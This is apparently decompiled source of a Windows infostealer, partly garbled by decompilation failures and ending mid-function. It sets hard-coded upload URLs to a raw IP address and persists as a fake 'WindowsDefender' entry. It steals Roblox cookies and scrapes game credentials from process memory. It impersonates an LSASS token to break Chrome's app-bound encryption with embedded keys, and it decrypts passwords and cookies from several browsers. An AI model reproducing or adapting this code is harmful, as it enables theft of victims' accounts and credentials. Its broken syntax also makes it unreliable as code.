# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'sa.py'
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
# ***<module>: Failure: Compilation Error
import os
import json
import re
import base64
import tempfile
import requests
import time
import random
import string
import socket
import platform
from Cryptodome.Cipher import AES, ChaCha20_Poly1305
import ctypes
import psutil
import pymem
import win32crypt
from datetime import datetime, timezone
import mss
import threading
import winreg
import subprocess
import zipfile
import sys
import shutil
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
from ctypes import wintypes
import sqlite3
import pathlib
import binascii
import io
import struct
from contextlib import contextmanager
import traceback
try:
import websocket
except ImportError:
websocket = None
try:
import windows
import windows.crypto
import windows.generated_def as gdef
except ImportError:
windows = None
gdef = None
try:
from shadowcopy import shadow_copy
except ImportError:
shadow_copy = None
try:
import browser_cookie3
except ImportError:
browser_cookie3 = None
SEND_URL_1 = 'http://141.11.109.213/upload.php'
SEND_URL_2 = 'http://141.11.109.213/upload.php'
def get_send_url(games=None):
if games is None:
try:
games = scan_games()
except:
games = {}
if games.get('Valorant', False):
return SEND_URL_2
else:
return SEND_URL_1
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SE_PRIVILEGE_ENABLED = 2
TOKEN_QUERY = 8
TOKEN_ADJUST_PRIVILEGES = 32
TOKEN_DUPLICATE = 2
TOKEN_IMPERSONATE = 4
SecurityImpersonation = 2
TokenImpersonation = 2
class LUID(ctypes.Structure):
_fields_ = [('LowPart', wintypes.DWORD), ('HighPart', wintypes.LONG)]
class LUID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [('Luid', LUID), ('Attributes', wintypes.DWORD)]
class TOKEN_PRIVILEGES(ctypes.Structure):
_fields_ = [('PrivilegeCount', wintypes.DWORD), ('Privileges', LUID_AND_ATTRIBUTES * 1)]
def log_message(msg):
try:
print(f'[*] {msg}')
except:
return None
def add_to_startup():
# ***<module>.add_to_startup: Failure: Different bytecode
try:
current_file = os.path.abspath(sys.executable)
key = winreg.HKEY_CURRENT_USER
registry_path = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
with winreg.OpenKey(key, registry_path, 0, winreg.KEY_SET_VALUE) as reg_key:
winreg.SetValueEx(reg_key, 'WindowsDefender', 0, winreg.REG_SZ, f'\"{current_file}\"')
startup_folder = os.path.join(os.getenv('APPDATA'), 'Microsoft\\Windows\\Start Menu\\Programs\\Startup')
if os.path.exists(startup_folder):
target_copy = os.path.join(startup_folder, 'WindowsDefender.exe')
if not os.path.exists(target_copy) and current_file.lower()!= target_copy.lower():
import shutil
shutil.copy2(current_file, target_copy)
ctypes.windll.kernel32.SetFileAttributesW(target_copy, 6)
except Exception as e:
return False
else:
return True
def get_roblox_data():
# irreducible cflow, using cdg fallback
# ***<module>.get_roblox_data: Failure: Compilation Error
user_profile = os.getenv('USERPROFILE', '')
path = os.path.join(user_profile, 'AppData', 'Local', 'Roblox', 'LocalStorage', 'robloxcookies.dat')
if not os.path.exists(path):
return None
with open(path, 'r', encoding='utf-8') as f:
data = json.load(f)
encoded = data.get('CookiesData', '')
if not encoded:
return
decrypted_bytes = win32crypt.CryptUnprotectData(base64.b64decode(encoded), None, None, None, 0)[1]
decrypted = decrypted_bytes.decode('utf-8', errors='ignore')
lines = []
for cookie in decrypted.replace('\n', '').split(';'):
cookie = cookie.strip()
@cookie.startswith('#HttpOnly_')
if False:
cookie = cookie[len('#HttpOnly_'):]
if cookie:
lines.append(cookie)
return '\n'.join(lines)
except Exception:
return None
class EnvironmentCheck:
def __init__(self):
self.target_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.craftrise'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.minecraft'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'discord'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.sonoyuncu'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera GX Stable'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Telegram Desktop')]
def check_environment(self):
# irreducible cflow, using cdg fallback
# ***<module>.EnvironmentCheck.check_environment: Failure: Compilation Error
test_file = os.path.join(os.environ.get('USERPROFILE', ''), 'Desktop', 'test_modu.txt')
if os.path.exists(test_file):
return True
for path in self.target_paths:
if os.path.exists(path):
return True
return False
except Exception:
return True
class SonoyuncuStealer:
def __init__(self):
# ***<module>.SonoyuncuStealer.__init__: Failure detected at line number 54 and instruction offset 2: Different bytecode
self.kernel32, self.user32 = (ctypes.WinDLL('kernel32'), ctypes.WinDLL('user32'))
self.desktop_name, self.hidden_desktop, self.process_info = ('HiddenDesktop', None, None)
self.sonoyuncu_app_path = os.path.expandvars('%APPDATA%') + '/.sonoyuncu/sonoyuncuclient.exe'
self.sonoyuncu_config_path = os.path.expandvars('%APPDATA%') + '/.sonoyuncu/config.json'
def launch_application_hidden(self):
# ***<module>.SonoyuncuStealer.launch_application_hidden: Failure detected at line number 65 and instruction offset 46: Different bytecode
try:
class STARTUPINFO(ctypes.Structure):
# ***<module>.SonoyuncuStealer.launch_application_hidden.STARTUPINFO: Failure: Different bytecode
_fields_ = [('cb', wintypes.DWORD), ('lpReserved', wintypes.LPWSTR), ('lpDesktop', wintypes.LPWSTR), ('lpTitle', wintypes.LPWSTR), ('dwX', wintypes.DWORD), ('dwY', wintypes.DWORD), ('dwXSize', wintypes.DWORD), ('dwYSize', wintypes.DWORD), ('dwXCountChars', wintypes.DWORD), ('dwYCountChars', wintypes.DWORD), ('dwFillAttribute', wintypes.WORD), ('dwFlags', wintypes.WORD), ('wShowWindow', ctypes.POINTER(wintypes.BYTE)), ('hStdInput', wintypes.HANDLE), ('hStdOutput', wintypes.HANDLE), ('hStdError', wintypes.HANDLE)]
class PROCESS_INFORMATION(ctypes.Structure):
_fields_ = [('hProcess', wintypes.HANDLE), ('hThread', wintypes.HANDLE), ('dwProcessId', wintypes.DWORD), ('dwThreadId', wintypes.DWORD)]
startup_info = STARTUPINFO()
startup_info.cb, startup_info.lpDesktop, startup_info.dwFlags, startup_info.wShowWindow = (ctypes.sizeof(STARTUPINFO), self.desktop_name, 1, 0)
process_info = PROCESS_INFORMATION()
if not self.kernel32.CreateProcessW(None, self.sonoyuncu_app_path, None, None, False, 134217728, None, None, ctypes.byref(startup_info), ctypes.byref(process_info)):
if self.hidden_desktop:
self.user32.CloseDesktop(self.hidden_desktop)
return None
else:
return process_info
except Exception as e:
return None
def create_hidden_desktop(self):
try:
return self.user32.CreateDesktopW(self.desktop_name, None, None, 0, 268435808, None)
except Exception as e:
return None
def get_user_data(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_user_data: Failure: Compilation Error
username = self.get_username()
if not username:
return
self.hidden_desktop = self.create_hidden_desktop()
if self.hidden_desktop:
self.process_info = self.launch_application_hidden()
if self.process_info:
password = self.extract_memory_credentials(self.process_info.dwProcessId)
if password:
return (username, password)
self.cleanup(self.process_info.dwProcessId)
return None
except Exception:
return None
def extract_memory_credentials(self, process_id):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.extract_memory_credentials: Failure: Compilation Error
start_time = time.time()
if time.time() - start_time < 10:
pass
else:
return ''
process_memory = pymem.Pymem(process_id)
base_address = pymem.process.module_from_name(process_memory.process_handle, 'sonoyuncuclient.exe').lpBaseOfDll
password = self.try_multiple_offsets(process_memory, base_address)
if password:
return password
except Exception as e:
time.sleep(0.1)
def get_username(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_username: Failure: Compilation Error
if os.path.exists(self.sonoyuncu_config_path):
with open(self.sonoyuncu_config_path, 'r', encoding='utf-8') as f:
return json.load(f).get('userName', '')
return ''
except Exception as e:
return ''
def try_multiple_offsets(self, pm, base_address):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.try_multiple_offsets: Failure: Compilation Error
for offset in [1878448]:
pass
decoded_data = pm.read_bytes(base_address + offset, 256).decode('utf-8', 'ignore')
password = self.extract_password_from_data(decoded_data)
if password:
return password
except Exception as e:
pass
pass
return ''
def extract_password_from_data(self, data):
# ***<module>.SonoyuncuStealer.extract_password_from_data: Failure detected at line number 90 and instruction offset 10: Different bytecode
for pattern in ['[A-Za-z0-9._\\-@+#$%^&*=!?~\\\'\\\",\\\\|/:<>[\\]{}()]{4,50}', '[A-Za-z0-9!@#$%^&*()_+\\-=\\[\\]{};\\\':\"\\\\|,.<>/?]{4,30}']:
for match in re.findall(pattern, data):
if len(match) >= 4 and (not any((c.isalpha() for c in match))) and any((c.isalnum() for c in match)):
return match
return ''
def cleanup(self, process_id):
# ***<module>.SonoyuncuStealer.cleanup: Failure detected at line number 96 and instruction offset 2: Different bytecode
try:
psutil.Process(process_id).terminate()
except Exception as e:
pass
if self.process_info:
try:
self.kernel32.CloseHandle(self.process_info.hProcess)
self.kernel32.CloseHandle(self.process_info.hThread)
except Exception as e:
pass
if self.hidden_desktop:
try:
self.user32.CloseDesktop(self.hidden_desktop)
except Exception as e:
return None
def get_sonoyuncu_credentials(self):
if not os.path.exists(self.sonoyuncu_app_path):
return '
Yok'
else:
credentials = self.get_user_data()
if credentials:
username, password = credentials
return f'
Sonoyuncu\n
Nick: {username}\n
Şifre: {password}'
else:
return self.get_sonoyuncu_username_only()
def get_sonoyuncu_username_only(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_sonoyuncu_username_only: Failure: Compilation Error
if os.path.exists(self.sonoyuncu_config_path):
with open(self.sonoyuncu_config_path, 'r', encoding='utf-8') as f:
config_data = json.load(f)
username = config_data.get('userName', '').strip()
if username:
return f' Sonoyuncu\n Nick: {username}\n Şifre: Alınamadı'
return ' Yok'
except Exception:
return ' Yok'
class UACBypass:
def __init__(self):
self.result = {'status': 'unknown', 'method': '', 'error': ''}
def initialize(self):
# ***<module>.UACBypass.initialize: Failure detected at line number 137 and instruction offset 110: Different bytecode
if is_admin():
self.result['status'] = 'success'
self.result['method'] = 'Admin yetkisi mevcut'
run_cookie_extraction()
return True
else:
script_path = os.path.abspath(sys.argv[0])
try:
import ctypes
params = ' '.join([f'\"{arg}\"' for arg in sys.argv])
ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, params, None, 1)
sys.exit(0)
except Exception as e:
self.result['status'] = 'failed'
self.result['error'] = f'Execution error: {str(e)}'
return False
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()!= 0
except Exception:
return False
def create_zip_with_outputs(output_folder, zip_path):
# irreducible cflow, using cdg fallback
# ***<module>.create_zip_with_outputs: Failure: Compilation Error
os.makedirs(os.path.dirname(zip_path), exist_ok=True)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(output_folder):
for file in files:
try:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, output_folder)
zipf.write(file_path, arcname)
except Exception:
pass
except Exception as e:
log_message(f'create_zip_with_outputs failed: {e}')
@contextmanager
def impersonate_lsass():
# ***<module>.impersonate_lsass: Failure detected at line number 152 and instruction offset 22: Different bytecode
advapi32 = ctypes.windll.advapi32
kernel32 = ctypes.windll.kernel32
token = wintypes.HANDLE()
impersonation_token = wintypes.HANDLE()
h_process = None
original_thread_token = wintypes.HANDLE()
success = False
try:
h_current_token = wintypes.HANDLE()
if advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ctypes.byref(h_current_token)):
luid = LUID()
if advapi32.LookupPrivilegeValueW(None, 'SeDebugPrivilege', ctypes.byref(luid)):
tp = TOKEN_PRIVILEGES()
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
advapi32.AdjustTokenPrivileges(h_current_token, False, ctypes.byref(tp), 0, None, None)
kernel32.CloseHandle(h_current_token)
lsass_pid = (-1)
for proc in psutil.process_iter(['name']):
if proc.info['name'].lower() == 'lsass.exe':
lsass_pid = proc.pid
break
if lsass_pid!= (-1):
h_process = kernel32.OpenProcess(4096, False, lsass_pid)
if h_process and advapi32.OpenProcessToken(h_process, TOKEN_QUERY | TOKEN_DUPLICATE, ctypes.byref(token)) and advapi32.DuplicateTokenEx(token, TOKEN_QUERY | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, None, SecurityImpersonation, TokenImpersonation, ctypes.byref(impersonation_token)) and advapi32.SetThreadToken(None, impersonation_token):
log_message('LSASS Impersonation SUCCESS')
success = True
yield success
except Exception as e:
log_message(f'impersonate_lsass error: {e}')
yield False
finally:
if success:
advapi32.SetThreadToken(None, None)
if impersonation_token:
kernel32.CloseHandle(impersonation_token)
if token:
kernel32.CloseHandle(token)
if h_process:
kernel32.CloseHandle(h_process)
def parse_key_blob(blob_data: bytes) -> dict:
# ***<module>.parse_key_blob: Failure detected at line number 193 and instruction offset 2: Different bytecode
try:
buffer = io.BytesIO(blob_data)
parsed_data = {}
header_len = struct.unpack('<I', buffer.read(4))[0]
buffer.read(header_len)
content_len = struct.unpack('<I', buffer.read(4))[0]
parsed_data['flag'] = buffer.read(1)[0]
if parsed_data['flag'] in [1, 2]:
parsed_data['iv'] = buffer.read(12)
parsed_data['ciphertext'] = buffer.read(32)
parsed_data['tag'] = buffer.read(16)
return parsed_data
else:
if parsed_data['flag'] == 3:
parsed_data['encrypted_aes_key'] = buffer.read(32)
parsed_data['iv'] = buffer.read(12)
parsed_data['ciphertext'] = buffer.read(32)
parsed_data['tag'] = buffer.read(16)
return parsed_data
else:
raise ValueError(f"Unsupported flag: {parsed_data['flag']}")
except Exception:
return {}
def byte_xor(ba1, ba2):
try:
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
except Exception:
return b''
def decrypt_with_cng(input_data):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_with_cng: Failure: Compilation Error
ncrypt = ctypes.windll.ncrypt
ncrypt.NCryptOpenStorageProvider.restype = wintypes.DWORD
ncrypt.NCryptOpenStorageProvider.argtypes = [ctypes.POINTER(wintypes.HANDLE), wintypes.LPCWSTR, wintypes.DWORD]
ncrypt.NCryptOpenKey.restype = wintypes.DWORD
ncrypt.NCryptOpenKey.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.HANDLE), wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD]
ncrypt.NCryptDecrypt.restype = wintypes.DWORD
ncrypt.NCryptDecrypt.argtypes = [wintypes.HANDLE, ctypes.c_void_p, wintypes.DWORD, ctypes.c_void_p, ctypes.c_void_p, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.DWORD]
ncrypt.NCryptFreeObject.restype = wintypes.DWORD
ncrypt.NCryptFreeObject.argtypes = [wintypes.HANDLE]
hProvider = wintypes.HANDLE()
provider_name = 'Microsoft Software Key Storage Provider'
status = ncrypt.NCryptOpenStorageProvider(ctypes.byref(hProvider), provider_name, 0)
if status!= 0:
log_message(f'NCryptOpenStorageProvider failed: {hex(status & 4294967295)}')
return b''
else:
hKey = wintypes.HANDLE()
key_name = 'Google Chromekey1'
status = ncrypt.NCryptOpenKey(hProvider, ctypes.byref(hKey), key_name, 0, 0)
if status!= 0:
log_message(f'NCryptOpenKey failed: {hex(status & 4294967295)}')
ncrypt.NCryptFreeObject(hProvider)
return b''
pcbResult = wintypes.DWORD(0)
status = ncrypt.NCryptDecrypt(hKey, input_data, len(input_data), None, None, 0, ctypes.byref(pcbResult), 64)
if status!= 0:
log_message(f'NCryptDecrypt (size check) failed: {hex(status & 4294967295)}')
return None
ncrypt.NCryptFreeObject(hProvider) if hProvider else b''
buffer_size = pcbResult.value
output_buffer = (ctypes.c_ubyte * buffer_size)()
status = ncrypt.NCryptDecrypt(hKey, input_data, len(input_data), None, output_buffer, buffer_size, ctypes.byref(pcbResult), 64)
if status!= 0:
log_message(f'NCryptDecrypt (actual) failed: {hex(status & 4294967295)}')
else:
return bytes(output_buffer[
cbResult.value])
return None
ncrypt.NCryptFreeObject(hProvider) if hProvider else b''
except Exception as e:
log_message(f'decrypt_with_cng exception: {e}')
return b''
def derive_v20_master_key(parsed_data: dict) -> bytes:
# ***<module>.derive_v20_master_key: Failure detected at line number 225 and instruction offset 24: Different bytecode
if parsed_data['flag'] == 1:
aes_key = bytes.fromhex('B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787')
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
else:
if parsed_data['flag'] == 2:
chacha20_key = bytes.fromhex('E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660')
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=parsed_data['iv'])
else:
if parsed_data['flag'] == 3:
xor_key = bytes.fromhex('CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390')
with impersonate_lsass():
decrypted_aes_key = decrypt_with_cng(parsed_data['encrypted_aes_key'])
if not decrypted_aes_key:
raise ValueError('decrypt_with_cng returned empty key')
else:
xored_aes_key = byte_xor(decrypted_aes_key, xor_key)
cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
else:
raise ValueError('Unsupported flag in derive_v20_master_key')
return cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag'])
def get_master_key(path):
# ***<module>.get_master_key: Failure detected at line number 258 and instruction offset 134: Different bytecode
is_admin = False
try:
is_admin = ctypes.windll.shell32.IsUserAnAdmin()!= 0
except:
pass
log_message(f'--- get_master_key START: {path} ---')
log_message(f"Current Identity: {('Administrator' if is_admin else 'Standard User')}")
log_message(f'Windows module available: {windows is not None}')
if not os.path.exists(path):
log_message('Local State path does not exist.')
return None
else:
try:
with open(path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
except Exception as e:
log_message(f'Local State JSON load FAILED: {e}')
return None
if 'os_crypt' not in local_state:
log_message('\'os_crypt\' key missing in Local State.')
return None
else:
os_crypt = local_state['os_crypt']
keys = {}
if 'app_bound_encrypted_key' in os_crypt:
try:
raw_b64 = os_crypt['app_bound_encrypted_key']
key_blob_encrypted = base64.b64decode(raw_b64)
log_message(f'App-Bound key found. B64 Decoded len: {len(key_blob_encrypted)}. Header: {key_blob_encrypted[:4].hex()}')
if key_blob_encrypted.startswith(b'APPB'):
key_blob_encrypted = key_blob_encrypted[4:]
key_blob_user_decrypted = None
log_message('Attempting two-stage extraction (SYSTEM -> USER)')
with impersonate_lsass() as imp_success:
if imp_success:
try:
res = win32crypt.CryptUnprotectData(key_blob_encrypted, None, None, None, 0)
if res and len(res) >= 2:
key_blob_system_decrypted = res[1]
log_message('Stage 1 (SYSTEM) DPAPI: SUCCESS')
try:
res2 = win32crypt.CryptUnprotectData(key_blob_system_decrypted, None, None, None, 0)
if res2 and len(res2) >= 2:
key_blob_user_decrypted = res2[1]
log_message('Stage 2 (USER) DPAPI: SUCCESS')
except Exception as e:
log_message(f'Stage 2 (USER) inside LSASS FAILED: {e}')
except Exception as e:
log_message(f'Stage 1 (SYSTEM) DPAPI FAILED: {e}')
if not key_blob_user_decrypted:
log_message('Trying user-only or deferred Stage 2 decryption...')
try:
target = key_blob_system_decrypted if 'key_blob_system_decrypted' in locals() else key_blob_encrypted
res3 = win32crypt.CryptUnprotectData(target, None, None, None, 0)
if res3 and len(res3) >= 2:
key_blob_user_decrypted = res3[1]
log_message('USER-only/Stage 2 outside: SUCCESS')
except Exception as e:
log_message(f'USER-only/Stage 2 outside FAILED: {e}')
if key_blob_user_decrypted:
parsed = parse_key_blob(key_blob_user_decrypted)
if parsed:
log_message(f"v20 Key Blob Parsed. Flag: {parsed.get('flag')}. deriving...")
m_key = derive_v20_master_key(parsed)
if m_key:
log_message('v20 Master Key derived: SUCCESS')
keys['v20'] = m_key
else:
log_message('parse_key_blob returned NULL data.')
except Exception as e:
log_message(f'Critical error in App-Bound block: {e}')
v10_enc_key = os_crypt.get('encrypted_key') or os_crypt.get('encrypted_key_v10')
if v10_enc_key:
try:
m_key_enc = base64.b64decode(v10_enc_key)
log_message(f'Standard key found. Header: {m_key_enc[:5].hex()}')
if m_key_enc.startswith(b'DPAPI'):
m_key_enc = m_key_enc[5:]
decrypted = win32crypt.CryptUnprotectData(m_key_enc, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
log_message('v10 Master Key extracted: SUCCESS')
keys['v10'] = decrypted[1]
except Exception as e:
log_message(f'v10 extraction FAILED: {e}')
log_message(f'get_master_key FINISHED. Keys found: {list(keys.keys())}')
return keys if keys else None
def decrypt_password(buff, key=None):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_password: Failure: Compilation Error
if not buff:
return ''
if not key:
if windows:
try:
return windows.crypto.dpapi.unprotect(buff).decode('utf-8', errors='ignore')
except:
pass
decrypted = win32crypt.CryptUnprotectData(buff, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
pass
return '[Çözülemedi]'
m_key = None
if isinstance(key, dict):
if buff.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if buff.startswith(b'v20'):
return ''
else:
return ''
if buff.startswith(b'v10') or buff.startswith(b'v11') or buff.startswith(b'v20'):
if len(buff) < 15:
return '[Veri Çok Kısa]'
iv = buff[3:15]
payload = buff[15:]
ciphertext = payload[
-16)]
tag = payload[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if len(decrypted) > 32 and buff.startswith(b'v20'):
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES Error] {str(e)}'
if windows:
return windows.crypto.dpapi.unprotect(buff).decode('utf-8', errors='ignore')
decrypted = win32crypt.CryptUnprotectData(buff, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
return '[Çözülemedi]'
except Exception:
return '[Çözülemedi]'
def decrypt_cookie_v20(encrypted_value, key):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_cookie_v20: Failure: Compilation Error
if not encrypted_value:
return ''
else:
m_key = None
if isinstance(key, dict):
if encrypted_value.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if encrypted_value.startswith(b'v20'):
return ''
else:
return decrypt_password(encrypted_value, None)
else:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
return decrypt_password(encrypted_value, m_key)
if len(encrypted_value) < 15:
return '[Veri Çok Kısa]'
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15-16)]
tag = encrypted_value[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if encrypted_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES Error] {str(e)}'
def decrypt_edge_cookie_v20(encrypted_value, key):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_edge_cookie_v20: Failure: Compilation Error
if not encrypted_value:
return ''
else:
m_key = None
if isinstance(key, dict):
if encrypted_value.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if encrypted_value.startswith(b'v20'):
return ''
else:
return decrypt_password(encrypted_value, None)
else:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
return decrypt_password(encrypted_value, m_key)
if len(encrypted_value) < 19:
return '[Veri Çok Kısa]'
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15-16)]
tag = encrypted_value[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if encrypted_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES Error] {str(e)}'
def save_cookies_netscape(name: str, cookie_file: str, key_file: str, output_path: str):
# irreducible cflow, using cdg fallback
# ***<module>.save_cookies_netscape: Failure: Different control flow
if not browser_cookie3:
return None
with tempfile.TemporaryDirectory() as temp_dir:
temp_cookie_path = os.path.join(temp_dir, 'Cookies')
if shadow_copy:
shadow_copy(cookie_file, temp_cookie_path)
else:
shutil.copy2(cookie_file, temp_cookie_path)
try:
cj = browser_cookie3.chromium(cookie_file=temp_cookie_path, key_file=key_file)
with open(output_path, 'w', encoding='utf-8') as f:
for cookie in cj:
domain = cookie.domain
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = cookie.path
secure = 'TRUE' if cookie.secure else 'FALSE'
expiry = str(int(cookie.expires)) if cookie.expires else str(int(time.time() + 3600))
cname = cookie.name
value = cookie.value
f.write(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{cname}\t{value}\n')
except Exception:
process_names = {'Chrome': 'chrome.exe', 'Edge': 'msedge.exe', 'Opera': 'opera.exe', 'Opera GX': 'launcher.exe', 'Yandex': 'browser.exe', 'Brave': 'brave.exe'}
proc_name = process_names.get(name, None)
if proc_name:
for p in psutil.process_iter(['name']):
if p.info['name'] and p.info['name'].lower() == proc_name.lower():
try:
p.kill()
except Exception:
pass
shutil.copy2(cookie_file, temp_cookie_path)
except Exception:
return None
def get_opera_cookies(output_dir=None):
# ***<module>.get_opera_cookies: Failure detected at line number 375 and instruction offset 112: Different bytecode
if not browser_cookie3:
return None
else:
opera_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Stable'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Beta'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Developer'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera', 'User Data')]
base = None
target_cookie_file = None
for path in opera_paths:
cookie_file = os.path.join(path, 'Network', 'Cookies')
if not os.path.exists(cookie_file):
cookie_file = os.path.join(path, 'Default', 'Network', 'Cookies')
local_state_file = os.path.join(path, 'Local State')
if os.path.exists(cookie_file) and os.path.exists(local_state_file):
base = path
target_cookie_file = cookie_file
break
if base:
try:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'opera_cookies.txt')
local_state_file = os.path.join(base, 'Local State')
save_cookies_netscape('Opera', target_cookie_file, local_state_file, output_file)
except Exception:
return None
def get_yandex_cookies(output_dir=None):
# ***<module>.get_yandex_cookies: Failure detected at line number 400 and instruction offset 68: Different bytecode
if not browser_cookie3:
return None
else:
yandex_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Yandex', 'YandexBrowser', 'User Data')]
base = None
for path in yandex_paths:
default_path = os.path.join(path, 'Default')
cookies_path = os.path.join(default_path, 'Network', 'Cookies')
local_state_path = os.path.join(path, 'Local State')
if os.path.exists(cookies_path) and os.path.exists(local_state_path):
base = path
break
if base:
try:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'yandex_cookies.txt')
default_path = os.path.join(base, 'Default')
cookies_path = os.path.join(default_path, 'Network', 'Cookies')
local_state_path = os.path.join(base, 'Local State')
save_cookies_netscape('Yandex', cookies_path, local_state_path, output_file)
except Exception:
return None
def get_brave_cookies(output_dir=None):
# ***<module>.get_brave_cookies: Failure detected at line number 424 and instruction offset 16: Different bytecode
if not browser_cookie3:
return []
else:
brave_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Dev', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Nightly', 'User Data')]
brave_path = None
for path in brave_paths:
if os.path.exists(path):
brave_path = path
break
if not brave_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'brave_cookies.txt')
cookies_path = os.path.join(brave_path, 'Default', 'Network', 'Cookies')
local_state_path = os.path.join(brave_path, 'Local State')
if os.path.exists(cookies_path) and os.path.exists(local_state_path):
save_cookies_netscape('Brave', cookies_path, local_state_path, output_file)
profiles = [d for d in os.listdir(brave_path) if d.startswith('Profile')]
for profile in profiles:
profile_cookies = os.path.join(brave_path, profile, 'Network', 'Cookies')
if os.path.exists(profile_cookies):
try:
save_cookies_netscape(f'Brave ({profile})', profile_cookies, local_state_path, output_file)
except Exception:
pass
def get_firefox_cookies(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.get_firefox_cookies: Failure: Compilation Error
if not browser_cookie3:
return None
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'firefox_cookies.txt')
cj = browser_cookie3.firefox()
with open(output_file, 'w', encoding='utf-8') as f:
for cookie in cj:
domain = cookie.domain
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = cookie.path
secure = 'TRUE' if cookie.secure else 'FALSE'
